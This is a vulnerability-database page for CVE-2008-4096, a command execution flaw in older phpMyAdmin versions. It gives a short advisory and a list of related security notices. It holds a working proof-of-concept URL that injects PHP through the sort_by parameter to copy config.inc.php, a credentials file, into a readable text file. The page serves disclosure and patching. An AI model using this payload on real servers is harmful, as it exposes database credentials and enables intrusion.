Lucene search
+L

phpMyAdmin 3.2 - 'server_databases.php' Remote Command Execution

🗓️ 15 Sep 2008 00:00:00Reported by Norman HippertType 
exploitdb
 exploitdb
🔗 www.exploit-db.com👁 153 Views

phpMyAdmin 3.2 'server_databases.php' Remote Command Execution vulnerabilit

Related
Code
ReporterTitlePublishedViews
Family
FreeBSD
phpmyadmin -- Code execution vulnerability
15 Sep 200800:00
freebsd
Circl
CVE-2008-4096
15 Sep 200800:00
circl
CVE
CVE-2008-4096
17 Sep 200818:06
cve
Cvelist
CVE-2008-4096
17 Sep 200818:06
cvelist
Debian
[SECURITY] [DSA 1641-1] New phpmyadmin packages fix several issues
20 Sep 200813:14
debian
Debian CVE
CVE-2008-4096
17 Sep 200818:06
debiancve
Tenable Nessus
Debian DSA-1641-1 : phpmyadmin - several vulnerabilities
23 Sep 200800:00
nessus
Tenable Nessus
Fedora 8 : phpMyAdmin-2.11.9.1-1.fc8 (2008-8269)
25 Sep 200800:00
nessus
Tenable Nessus
Fedora 8 : phpMyAdmin-2.11.9.2-1.fc8 (2008-8286)
25 Sep 200800:00
nessus
Tenable Nessus
Fedora 9 : phpMyAdmin-2.11.9.2-1.fc9 (2008-8335)
25 Sep 200800:00
nessus
Rows per page
source: https://www.securityfocus.com/bid/31188/info

phpMyAdmin is prone to a vulnerability that attackers can leverage to execute arbitrary commands. This issue occurs because the application fails to adequately sanitize user-supplied input.

Successful attacks can compromise the affected application and possibly the underlying computer.

This issue affects versions prior to phpMyAdmin 2.11.9.1.

http://www.example.com/server_databases.php?pos=0&dbstats=0&sort_by="]) OR exec('cp $(pwd)"/config.inc.php" config.txt'); //&sort_order=desc&token=[valid token]

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

20 Mar 2014 00:00Current
5.8Medium risk
Vulners AI Score5.8
CVSS 28.5
EPSS0.11175
153